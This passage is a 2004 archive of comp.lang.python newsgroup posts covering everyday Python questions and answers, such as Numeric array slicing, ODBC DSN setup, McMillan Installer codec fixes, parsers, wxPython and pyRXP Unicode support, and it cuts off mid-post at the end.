    Adrian> advice on where to start?

This is easy w/o any special libraries, if it is indeed all you have
to do.

Some options:

- Clients open TCP socket to server as a "subscription", server dumps
  all the changes to all the connected TCP sockets. 

- Clients register their host, port addrs with server, server sends
  updates to all the subscribed clients in UDP packets.

- UDP broadcasts might work too, haven't tried it.

Or, you could use something like CORBA (omniORB) for more complicated
scenarios.

Googling also revealed:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81614

But beware: OSE, which that recipe relies on, seems to be licensed
under QPL.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From sidharthk at hotmail.com  Wed Feb 11 12:35:54 2004
From: sidharthk at hotmail.com (sid)
Date: Wed, 11 Feb 2004 23:05:54 +0530
Subject: Compiling with Mingw
Message-ID: <c0dp5v$15n528$1@ID-223265.news.uni-berlin.de>

Can someone give me some pointers on compiling IO under Mingw?

Basically what packages i would require other than the mingw base package.
And any changes that may be required within the setup scripts.

It would be great if someone could point me to the necessary resources.

Thanks




From cyx at ustc.edu  Tue Feb 17 08:28:56 2004
From: cyx at ustc.edu (¹âÒõµÄ¹ÊÊÂ)
Date: Tue, 17 Feb 2004 21:28:56 +0800
Subject: Where to find the Pythonwin for Python 2.3?
Message-ID: <c0t4ve$1aue$1@mail.cn99.com>

Hello, everyone
I like the Python's IDE in windows --- Pythonwin.
But now I can only find the version for Python 2.2.
How can I get the Pythonwin for 2.3?
Thanks!




From aahz at pythoncraft.com  Tue Feb  3 15:31:36 2004
From: aahz at pythoncraft.com (Aahz)
Date: Tue, 3 Feb 2004 15:31:36 -0500
Subject: BayPIGgies Thurs 2/12: SpamAI
Message-ID: <20040203203136.GA21127@panix.com>

The next BayPIGgies meeting is Thurs Feb 12 at 7:30pm.  The speaker will
be Dennis Reinhardt, talking about SpamAI (http://www.spamai.com/).

BayPIGgies meetings are held at Stanford, California.  For more info, see
http://www.baypiggies.net/
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR



From dfh at forestfield.co.uk  Thu Feb 19 14:39:00 2004
From: dfh at forestfield.co.uk (David Hughes)
Date: Thu, 19 Feb 2004 19:39 +0000 (GMT Standard Time)
Subject: Importing win32api with Windows 95
Message-ID: <memo.20040219193929.2208C@forestfield.cix.co.uk>

Sometime in 1998, Mark Hammond wrote:

>>    import win32api
>>ImportError: DLL load failed: One of the library files needed to run
>>this application cannot be found.

>Your system needs its COM DLLs updated.

>You can find the update at the old Pythonwin pages
>http://www.python.org/ftp/python/pythonwin/DownloadWin32.html, which also
>points to the MS site the update originates from.

>Mark.

I got the same error today while trying to back-port an application of 
mine to Windows 95 for a customer. Unfortunately the link pointing to the 
solution no longer exists, so could anyone please tell me which DLLs need 
to be updated?

Regards,

David Hughes
Forestfield Software Ltd
www.forestfield.co.uk


From maxwell at ldc.upenn.edu  Tue Feb 24 09:44:35 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Tue, 24 Feb 2004 09:44:35 -0500
Subject: Linguistically correct Python text rendering
References: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
Message-ID: <c1fo07$jvc$1@sea.gmane.org>

David Opstad wrote:
> my question is this: how do we get this functionality integrated into
> Python? I'd love to be able to print any Unicode string and have it
> come out linguistically correctly

Isn't this a function of whatever app you're running Python code inside (a
terminal or something)?  E.g. could you take the output of your Python
program as a file and display it in Yudit or a Pango app?

    Mike Maxwell






From rosenfel at informatik.hu-berlin.de  Fri Feb 20 12:17:48 2004
From: rosenfel at informatik.hu-berlin.de (Viktor Rosenfeld)
Date: Fri, 20 Feb 2004 18:17:48 +0100
Subject: Parsing library for Python?
Message-ID: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>

Hi, 

I need to create a parser for a Python project, and I'd like to use process
kinda like lex/yacc.  I've looked at various parsing packages online, but
didn't find anything useful for me:

- PyLR seems promising but is for Python 1.5
- Yappy seems promising, but I couldn't get it to work.  It doesn't even
compile the main example in it's documentation
- mxTexttools is way complicated.  I'd like something that I can give a BNF
grammar to handle.

Is there a good parsing module for python that I missed?

TIA,
Viktor


From noemail at noemail4u.com  Thu Feb 26 13:09:04 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Thu, 26 Feb 2004 18:09:04 GMT
Subject: No Thoughts about Everything
References: <403CC4FB.7040204@compuserve.de><mailman.107.1077724553.8594.python-list@python.org>
	<30lp30lukdq945km2dj83dhican7ege0i1@4ax.com>
	<mailman.128.1077731860.8594.python-list@python.org>
Message-ID: <344193074bf873cc70234bd2c19faf02@news.teranews.com>

On Wed, 25 Feb 2004 10:57:30 -0700, "Dave Brueck"
<dave at pythonapocrypha.com> wrote:

>Arthur wrote:
>> >class Foo:
>> >  BAR = 10
>> >
>> >Voila! BAR is now a "class constant" - shared among all instances of the
>class
>> >Foo (in theory it's not a constant, but in practice it is :) ).
>> >
>> >HTH,
>> >Dave
>> >
>>
>> But not 'final'.
>>  I am only anticipating a response.
>>
>> IMO - if I am understanidng the issues correctly - it is a perfectly
>> adequate solution.  Simple to get across to beginners..
>>
>> The issue of making the constant 'final' is a production programming
>> issue.  And whether Python does or does not need it is not an issue
>> relative to teaching beginners.  The fact that production programming
>> concerns are introduced  at that stage of the game is, I think, where
>> many who would otherwise have an intellectual intererst in programming
>> fall of the wagon.  Wanting to understand programming and wanting to
>> be a production programmer can be very different things.
>
>True, but IMO this particular issue is invalid as a "production programming
>concern" as well - it doesn't prevent any problems that actually occur in
>practice, or if it does, you have bigger problems on your hands. It falls into
>the same bucket of concerns as "our programmers are untrained monkeys and/or
>are seeking to destroy our company from the inside".
>
+1 on this.  If the code has gotten to production, and someone is
changing (or trying to and silently failing) a final/constant value,
something seems a little non-production about it.  What's the Wiki
term?  CodeSmell?
    --dang


From tjreedy at udel.edu  Mon Feb 23 10:57:51 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 23 Feb 2004 10:57:51 -0500
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com><lvVZb.43854$5W3.38603@nwrddc02.gnilink.net>
	<xqxsmh2dyyn.fsf@cola2.ca.boeing.com>
Message-ID: <c1d7tv$bgc$1@sea.gmane.org>


"Harry George" <harry.g.george at boeing.com> wrote in message
news:xqxsmh2dyyn.fsf at cola2.ca.boeing.com...
> Slightly off topic, how do you "reset" or backup an iter?

Write your own bidirectional iterator class with a backup or prev method
and use it within a while loop instead of for loop.  Iterators produced by
iter() and generator functions are meant to be once through.  This
simplicity allows very efficient yield/next control tranfers.  Some
iterables, such as actual sequences, can be reiterated from the beginning.
And generator functions can to re-called, with same or different params.

> Historically, I've made a list, kept track of the line index, and
> decremented that when I needed to backup.  Does iter have something
> equiv?

If you mean builtin iter(), no.

Terry J. Reedy






From uche at ogbuji.net  Thu Feb 12 17:52:59 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 12 Feb 2004 14:52:59 -0800
Subject: Google API
Message-ID: <d116fbae.0402121452.6b8d5f7e@posting.google.com>

Sorry, just ran across the older message below.

FWIW, see

http://www-106.ibm.com/developerworks/webservices/library/ws-pyth14/

--Uche
http://uche.ogbuji.net

From: Bill Sneddon (bsneddonNOspam at yahoo.com)
Subject: any one used googles api?
Newsgroups: comp.lang.python
Date: 2003-12-19 08:16:22 PST

Has anyone used googles API who would be will to share
a simple example.  I have been wanting to play around with
SOAP for a while and this looks like a place to start.

I am going to mess with it in ASP when our IT guys set it up
for me.


I like Python but have not done anything with SOAP yet.

http://www.google.com/apis/


From gerrit at nl.linux.org  Wed Feb 18 13:39:30 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Wed, 18 Feb 2004 19:39:30 +0100
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb 17)
In-Reply-To: <1035d0r9kdr824b@corp.supernews.com>
References: <1035d0r9kdr824b@corp.supernews.com>
Message-ID: <20040218183929.GA8052@nl.linux.org>

>     LOTS of magazines now run Python content, more than are feasible
>     to track.  Even Tim Berners-Lee has adopted Python for his assault
>     on The Semantic Web.
> 	http://www.w3.org/2000/10/swap/doc/cwm

This doesn't seem very recent...?

Gerrit.

-- 
Weather in Twenthe, Netherlands 18/02 17:55 UTC:
	5.0??C   wind 3.1 m/s N (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From nir1408 at hotmail.com  Sun Feb  8 18:12:34 2004
From: nir1408 at hotmail.com (Nir of the Waves)
Date: Mon, 9 Feb 2004 01:12:34 +0200
Subject: Sharing Pipes in win32
Message-ID: <BAY10-DAV27JSdMEzCx000606b7@hotmail.com>

In windows platforms how can I make two processes hold two ends of the same pipe?

 

os.pipe() returns reader and writer descriptors but how do I export one of the ends to another process?

 

Note: popen() is not good for me since the new process is left without tty input and output.

 

 

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From budr at local.host  Tue Feb  3 18:12:57 2004
From: budr at local.host (Bud Rogers)
Date: Tue, 03 Feb 2004 17:12:57 -0600
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <qgm5f1-8km.ln1@twocups.netride.net>

Miki Tebeka wrote:

> Which news reader do you recommend?
> Currently I use Google Groups and find it a bit to dull.

That's right up there with which editor do you recommend.  If you like
[x]emacs, you might like gnus.  If you like KDE, knode is pretty nice.





From __peter__ at web.de  Thu Feb  5 05:58:15 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 05 Feb 2004 11:58:15 +0100
Subject: How to slice range of array along a (a-priori unknown) axis?
References: <bvqvvl$8u2$1@news.tudelft.nl>
Message-ID: <bvt7k8$o54$06$1@news.t-online.com>

Maarten van Reeuwijk wrote:

> I am using the Numeric package, and I need to strip edge cells off an
> array (dimension unknown) in an a-priori unknown direction. I implented
> this as follows:
> 
> def el_remove_bcells(var, axis):
>    """ elementary routine to strip the edge cells of an array for the
>    given
>        direction.
>    """
> 
>    if axis == 0:
>       return var[1:-1]
>    if axis == 1:
>       return var[:, 1:-1]
>    else:
>       return var[:, :,1:-1]
> 
> But this only works for at most 3D arrays. It must be possible to program
> this fragment without the ifs, for arrays of arbitrary dimension. Is there
> a command in the Numerical package I can use for this? It is very
> important that this method is very fast, as my arrays normally are in the
> order of 100 Mb.

Maybe:

>>> def clipdim(a, n):
...     t = [slice(None)] * N.rank(a)
...     t[n] = slice(1,-1)
...     return a[t]
...
>>> a
array([[[ 0,  1,  2],
        [ 3,  4,  5],
        [ 6,  7,  8]],
       [[ 9, 10, 11],
        [12, 13, 14],
        [15, 16, 17]],
       [[18, 19, 20],
        [21, 22, 23],
        [24, 25, 26]]])
>>> clipdim(a, 0)
array([       [[ 9, 10, 11],
        [12, 13, 14],
        [15, 16, 17]]])
>>> clipdim(a, 1)
array([[        [ 3,  4,  5]],
       [        [12, 13, 14]],
       [        [21, 22, 23]]])
>>> clipdim(a, 2)
array([[[ 1],
        [ 4],
        [ 7]],
       [[10],
        [13],
        [16]],
       [[19],
        [22],
        [25]]])

Peter


From fumanchu at amor.org  Thu Feb  5 13:27:19 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 5 Feb 2004 10:27:19 -0800
Subject: configuring ODBC DSN with a python script
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CF5@opus.amorhq.net>

Jani Yusef wrote:
> I am building an application which, unfortunately, 
> *must* use an access db...
> how do I configure the ODBC dsn without having the
> user open up the ODBC control panel which will in
> all honesty just scare and confuse them. ;)

I opined:
> the thought crosses my mind that ODBC entries are merely a lump 
> of registry keys--you might just create or even copy those 
> programatically. That would be my first attempt.

and omission9 added:
> Below is some code which more or less implements this...

Great work! I knew *someone* must have tried that before. :)

> One thing is that the system dsn created works perfectly fine but for
> whatever reason doesn't show up in the odbc control panel. I am not
> very well versed in Windows specific programming so am not sure why
> that is but would like to know why. Anybody know why that is?

First guess: you need an entry in
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From nir1408 at hotmail.com  Sun Feb 22 18:02:31 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Mon, 23 Feb 2004 01:02:31 +0200
Subject: need help with bizarre error caught in debugger. execution is
	hanging
References: <vfBZb.57526$1S1.32587@nwrddc01.gnilink.net>
Message-ID: <4039352a@news.bezeqint.net>

Why do you do

if len(self.data) <= 0:
    return len(self.data[0])

Isn't that a sure IndexError exception?
Maybe you catch it somewhere up the stack and so you keep it silent.

Nir

"omission9" <omission9 at invalid.email.info> wrote in message
news:vfBZb.57526$1S1.32587 at nwrddc01.gnilink.net...
> Any advice on the following would be much appreciated. I have thrown
> everything I have at it and am completely stumped. I apologize for the
> length, I have tried to be as succint as possible.
>
> I have a pythoncard/wxPython application. The application works well
> except that users were reporting occasional crashes. The application
> would simply stop and just hang. I was able to reproduce the bug
> faithfully and ran the application in the python debugger pdb.py.
> The trace is below and I simply cannot understand why it is hanging
> where it is. The application gets stuck executing
>
> return len(self.data[0])
>
> This works many many times during the applications execution, indeed
> several successful runs of this line are visible immediatley above the
> hang. I have also printed out the value of self.data. This is a list
> containing 12 inner lists each of length 3 at the point of the hang and
> is never larger than that.
> What on earth could cause this to stop the interpreter cold in its
> tracks without an exception being thrown? CPU usage on the machine is
> high throughout the application's execution and stays as such after the
> "hang" begins. I eventually kill the app although I have let it run for
> a long time and it never leaves this line.
> For what its worth, I am using python 2.3 on windows2k.
>
> Anyone have idea what could be happening?
>
>   c:\python23\lib\site-packages\wxpython\grid.py(664)_setOORInfo()->None
>   -> return val
>   (Pdb) s
>   --Return--
>    c:\python23\lib\site-packages\wxpython\grid.py(850)__init__()->None
>   -> self._setOORInfo(self)
>   (Pdb) s
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(17)__init
>
>   __()
>   -> self.data = data
>   (Pdb) s
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
>
>   __()
>   -> self.colLabels = headings
>   (Pdb) s
>   --Return--
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(18)__init
>
>   __()->None
>   -> self.colLabels = headings
>   (Pdb) s
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(15)__
>
>   init__()
>   -> self.colsizes = colsizes
>   (Pdb) s
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtablegrid.py(16)__
>
>   init__()
>   -> self.SetTable(table, True)
>   (Pdb) s
>   --Call--
>   c:\python23\lib\site-packages\wxpython\grid.py(993)SetTable()
>   -> def SetTable(self, *_args, **_kwargs):
>   (Pdb) s
>   > c:\python23\lib\site-packages\wxpython\grid.py(994)SetTable()
>   -> val = gridc.wxGrid_SetTable(self, *_args, **_kwargs)
>   (Pdb) s
>   --Call--
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(27)GetNumb
erRows()
>   -> def GetNumberRows(self):
>   (Pdb) s
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumb
erRows()
>   -> return len(self.data)
>   (Pdb) s
>   --Return--
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(28)GetNumb
erRows()->12
>   -> return len(self.data)
>   (Pdb) s
>   --Call--
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(30)GetNumb
erCols()
>   -> def GetNumberCols(self):
>   (Pdb) s
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(31)GetNumb
erCols()
>   -> if len(self.data) <= 0:
>   (Pdb) s
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumb
erCols()
>   -> return len(self.data[0])
>   (Pdb) s
> --Return--
>
>
>
c:\cygwin\home\ar881\development\bt_analysis\console\ndbbtable.py(34)GetNumb
erCols()->3
>   -> return len(self.data[0])
>   (Pdb) s
>




From claird at lairds.com  Fri Feb 20 09:19:12 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 20 Feb 2004 14:19:12 -0000
Subject: eval ?
References: <mailman.104.1077277571.27104.python-list@python.org>
Message-ID: <103c5r0rm71ki86@corp.supernews.com>

In article <mailman.104.1077277571.27104.python-list at python.org>,
Angelo Secchi  <secchi at sssup.it> wrote:
>
>I'm trying to use eval (is the right function? ) to generate empty lists
>with different names(es. list_1, list_2, list_3, ...) in a loop similar
>to:
>
>for index in range(1,4):
>	list=[]
>	for index in range(1,7):
>		if <condition>:
>			list.append(1)
>	foo='list_'+str(index)+'=list'
>	eval(foo)
>
>I am not a programmer as you probably see from the code and I do not
>even know if this is the right approach to do that in Python (I used
>this structure with Matlab that I want now to dismiss ...)
			.
			.
			.
Matlab is valuable.  Python is even more so.  I think your move to Python
will reward you; you'll find new vistas of productivity opening up.  It
might interest you to read the references I'm starting to collect in <URL:
http://phaseit.net/claird/comp.programming/open_source_science.html >.

Yes, it's possible to do what you attempt above (although there are
several errors in the particular coding you've chosen), but it's far more
idiomatic to parametrize the lists this way:
  my_lists = {}
  for counter in range(1,5):
      my_lists[counter] = []

I suspect you want to do something more than just initialize my_lists; if
we understood your ultimate goal, it might turn out there's an even better
approach, perhaps one that sets up [] as a default value.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From amk at amk.ca  Wed Feb 18 09:53:54 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 18 Feb 2004 08:53:54 -0600
Subject: mailing list problems?
References: <20040214221839.GA22649@nl.linux.org>
	<mailman.3.1077109241.812.python-list@python.org>
Message-ID: <XYqdnWH2N8sf4a7d4p2dnA@speakeasy.net>

On Wed, 18 Feb 2004 04:55:30 -0800, 
	Paul Prescod <paul at prescod.net> wrote:
> I think that there are still problems. I don't believe I ever saw this post:
> http://mail.python.org/pipermail/python-list/2004-February/207714.html

mail.python.org stopped processing mail for a while, and according to
Anthony Baxter is now working its way through a 1200-message backlog;
perhaps that post hasn't been gatewayed yet.

--amk


From fpetermaas at netscape.net  Mon Feb 16 04:40:13 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Mon, 16 Feb 2004 10:40:13 +0100
Subject: python memory usage
Message-ID: <c0q354$p0f$1@swifty.westend.com>

In a recent discussion somebody claimed that python executable has
a huge memory consumption compared to perl and tcl, about 18 MB.
I didn't believe that and checked on my machine (SusE 7.3, Linux
2.4, Perl 5.6.1, Python 2.3.2, Tcl 8.3), command
ps -o "cmd rss vsize", results in kBytes:

CMD               RSS   VSZ
perl              984  2760
python           2556  4188
tclsh8.3         1100  2316

But python (contrary to perl) starts an interactive interpreter which
doesn't matter when executing scripts. To get rid of it I created
a fifo (mknod xxx p) and started all programs with 'prog xxx'.
The result:

CMD               RSS   VSZ
perl              892  2736
python            544  2424
tclsh8.3         1100  2316

The fifo keeps Python in working memory but since the input isn't
a tty, the interactive interpreter isnt't started. Is this a
reasonable comparison or did I miss something?

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From prouleau at impathnetworks.com  Thu Feb 26 15:59:52 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Thu, 26 Feb 2004 15:59:52 -0500
Subject: Problem with McMillan Installer: no codec search function
	registered
In-Reply-To: <mUq%b.18883$253.1101466@news20.bellglobal.com>
References: <mUq%b.18883$253.1101466@news20.bellglobal.com>
Message-ID: <67t%b.19714$253.1115698@news20.bellglobal.com>

Pierre Rouleau wrote:

> Hi all,
> 
> When building a exe for a Python application under Windows XP with The 
> McMillan installer, the insttaltion succeeds but when I run the 
> resulting executable the application tracebacks complaining about a 
> codec not being registered:
> 
> Traceback (most recent call last):
>   File "<string>", line 222, in ?
>   File "ivcm\buildivcm\out1.pyz/gettext", line 428, in install
>   File "ivcm\buildivcm\out1.pyz/gettext", line 416, in translation
>   File "ivcm\buildivcm\out1.pyz/gettext", line 176, in __init__
>   File "ivcm\buildivcm\out1.pyz/gettext", line 304, in _parse
> LookupError: no codec search functions registered: can't find encoding
> 
> This application runs fine when executing from python.exe.  It generates 
> the following error when I run the executable built with the McMillan 
> Installer.
> 
> I have found a solution for the problem if I was using py2exe (which 
> I'll probably try soon) in 
> http://mail.python.org/pipermail/python-list/2003-March/155106.html.
> 
> 
> My app uses in some of the .py files
> 
> # -*- coding: iso-8859-1 -*-
> 
> What is strange is that I can build the application inside another 
> computer running XP and the same version of the McMillan installer) and 
> the problem does not show up.
> 
> I would try to get help from Gordon McMillan's site but it has been down 
> for several weeks, so if someone encountered the same problem, and 
> solved it, I'd really like to hear if you ran into the same problem.
> 
> My setup:
>     Python 2.3.3
>     McMillan Installer 5b5
> 
> My App:
>     Uses wxPython 2.4.2.4
> 

I found the solution to the problem.  There is a bug in McMillan 
Installer 5b5: it does not handle the codec properly for Unicode. To 
solve the problem, the Installer/support/useUnicode.py file must be updated:

Replace:

	import codecs
with:
	import encodings


Hope this can help anyone that runs into the same problem.

Pierre



From aa at bb.cc  Fri Feb 13 12:40:31 2004
From: aa at bb.cc (Ladvánszky Károly)
Date: Fri, 13 Feb 2004 17:40:31 GMT
Subject: Question: spawn and redirection
References: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
	<402CEC44.EFE48130@engcorp.com>
	<ae652179ac9762ccac0838a85622e763@news.meganetnews.com>
	<402CFAFD.1434C87F@engcorp.com>
Message-ID: <c1cc9287b64d02fcd463cd9397fcfc7b@news.meganetnews.com>

Thanks for your advice. os.system() is not suitable in all cases as it
always waits for the started process to terminate.

"Peter Hansen" <peter at engcorp.com> az al?bbiakat ?rta a k?vetkezo
h?r?zenetben: 402CFAFD.1434C87F at engcorp.com...
> "Ladv?nszky K?roly" wrote:
> >
> > I'd like to redirect the program output into a file.
>
> I'd just us os.system then, as in
>
>  os.system('command >somefile')
>
> -Peter




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sun Feb 22 14:41:58 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 22 Feb 2004 20:41:58 +0100
Subject: ANN: Snakelets 1.23 (simple-to-use web app server with dynamic
	pages)
Message-ID: <40390608$0$573$e4fe514c@news.xs4all.nl>

I'm happy to say that Snakelets 1.23 is available.

Snakelets is a Python web application server,
released under the open-source MIT Software license.
You can download from http://snakelets.sourceforge.net

Most relevant changes since 1.22:

* fnmatch-style URL patters for snakelets (/doc/*.pdf)
* it's now possible to specify that snakelet/Ypage output may be
   cached by the browser (default=no caching allowed)
   If caching is allowed, the HTTP no-cache headers are omitted.
* Content-Disposition header can be set (just like Content-Type)
   You can use this to control downloading of files.
* some clean-ups in the way HTTP headers are added to the response
   (also for HEAD requests)
* Ypages can now begin with a comment <%!-- ... --%>
* fixed URL problems with the action links in the management webapp

Enjoy,
--Irmen de Jong.


From michael at foord.net  Wed Feb  4 03:53:47 2004
From: michael at foord.net (Fuzzyman)
Date: 4 Feb 2004 00:53:47 -0800
Subject: self-extracting installators in Python?
References: <bvourc$d4r$1@atlantis.news.tpi.pl>
Message-ID: <8089854e.0402040053.2c34d0d3@posting.google.com>

"Nazgul" <lubowiecka at go2.pl> wrote in message news:<bvourc$d4r$1 at atlantis.news.tpi.pl>...
> Hi!
> 
> I want to implement a small tool in Python for distributing "patches" and I
> need Your advice. This application should be able to package all files
> chosen by a user into a self-extracting.exe so that when you click on it, it
> will extract the files and run setup.exe which among the other will copy
> these files into respective folders (the absolute paths could be written in
> some config file). Of course the files should be extracted first to a
> temporary directory and wiped out after use (the setup will copy them into
> respective folders).
> I know Python offers a zipfile module to play with ZIP file formats but I am
> not sure if it enables creating self-extracting archives too. And what about
> "configuring" the archive to run immediately a setup file after extracting
> the files? So my question is: is that possible in Python?
> 
> I will be grateful for any hints!
> 
> Thank You in advance,
> 
> Niki

Well... you could write a script to do it and make it executable using
py2exe... or you could build an innosetup distribution - which can be
used to make self-installing packages and is free too use and
distribute (to the best of my knowledge..).

Fuzzyman


From joe at notcharles.ca  Wed Feb 18 21:32:24 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 19 Feb 2004 02:32:24 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
Message-ID: <slrnc386fn.2u8.joe@gate.notcharles.ca>

In article <7x7jyk2hu9.fsf at ruckus.brouhaha.com>, Paul Rubin wrote:
> Gerrit <gerrit at nl.linux.org> writes:
>> > >     while (line := inputFile.readline()):
>> > >         ...
>> > > a lot better.
>> 
>> I disagree. I think it's counter-intuitive to have an assignment inside
>> an expression. Assignments should be statements. Explicit is better than
>> implicit. 
> 
> There's nothing implicit about an assignment expression.

Except the return value.

Joe


From http  Thu Feb 19 02:57:54 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 23:57:54 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<slrnc38nmb.3g8.joe@gate.notcharles.ca>
Message-ID: <7xy8qzmrgd.fsf@ruckus.brouhaha.com>

Joe Mason <joe at notcharles.ca> writes:
> x = 1 (or x := 1) looks to me like a statement that sets x to 1, not an
> expression.  I wouldn't expect any return value, if my mind hadn't been
> corrupted by C.  So the fact that there's a return value at all is
> implicit.

What do you mean by "return value"?  Only functoins have return
values.  It's just a value, not a return value.


From sdb1031 at yahoo.com  Tue Feb 17 19:57:50 2004
From: sdb1031 at yahoo.com (Stephen Briley)
Date: Tue, 17 Feb 2004 16:57:50 -0800 (PST)
Subject: IP list generation
Message-ID: <20040218005750.36737.qmail@web60909.mail.yahoo.com>

By in between I mean increment the first ip address by
1 until the end ip address is reached.  For example, 
a range of 10.0.0.1 - 10.0.0.5 would print:
10.0.0.2
10.0.0.3
10.0.0.4

__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From jdadson at yahoo.com  Fri Feb 27 01:55:52 2004
From: jdadson at yahoo.com (Jive Dadson)
Date: 26 Feb 2004 22:55:52 -0800
Subject: wxPython tutorial?
Message-ID: <36965e8.0402262255.122d167f@posting.google.com>

I'm trying (without conspicuous success) to start learning
wxPython.  Sooo... I opened the doc page wxPythonManual.html#wxpython-overview.
The very first example does not work.  Try it.  I find much of what follows
to be incomprehensible.  Is there a good tutorial for novices?

Here's the example that does not work.  ("No module named frame")


import wx

from frame import Frame

class App(wx.App):
    """Application class."""

    def OnInit(self):
        self.frame = Frame()
        self.frame.Show()
        self.SetTopWindow(self.frame)
        return True

def main():
    app = App()
    app.MainLoop()

if __name__ == '__main__':
    main()


From uche at ogbuji.net  Thu Feb 12 14:30:37 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 12 Feb 2004 11:30:37 -0800
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>	<402931E4.C1E50E92@engcorp.com>
	<c0beqb$2uv$00$1@news.t-online.com>	<40294322.7AF2C6D7@engcorp.com>
	<c0bh63$jp2$05$1@news.t-online.com>	<40294D36.B0AEE3C4@engcorp.com>
	<c0do15$tge$02$1@news.t-online.com>	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
Message-ID: <d116fbae.0402121130.6561b358@posting.google.com>

Stuart Bishop <stuart.b at commonground.com.au> wrote in message news:<mailman.6.1076585559.698.python-list at python.org>...
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> 
> On 12/02/2004, at 4:43 AM, Peter Hansen wrote:
> 
> > The fact that the PyRXP maintainers have apparently refused to fix this
> > problem *does* justify the complaint Uche is making, and I support him
> > in that now.  I wasn't aware that anyone had even tried reporting the
> > problem in the first place and was objection to an apparent 
> > overreaction.
> 
> This isn't quite correct. ReportLab were more than happy to
> take my patch on board, and if you install pyRXP from CVS you
> get *two* parsers (pyRXP and pyRXPU). I personally don't
> consider pyRXP an XML parser, as it is deliberately lacking what
> is in my opinion the single most useful feature of XML (unambiguous
> and universal Unicode support). For what Reportlab and others use
> if for, however, it is quite sufficient.
> 
> It is unfortunate that the release on ReportLab's web site
> is way out of date (possibly over a year), but they may have
> more pressing concerns, or possibly nobody has even asked.
> Not that it is really *their* problem - the code is GPL and
> *anybody* with the time could release a fresh package.

First of all, Stuart, I'd like to thank you greatly for PyRXPU.  It
was very much needed and provides another truly compliant option for
Python-XML processing.  The more the merrier but having non-conformant
options such as the default packaging of PyRXP is IMO detrimental.

I too hope that PyRXU becomes the default in future packaging, and
that PyRXP is clearly marked as a super-fast option for those who
don't really need a true XML parser.  Not that I know why such a group
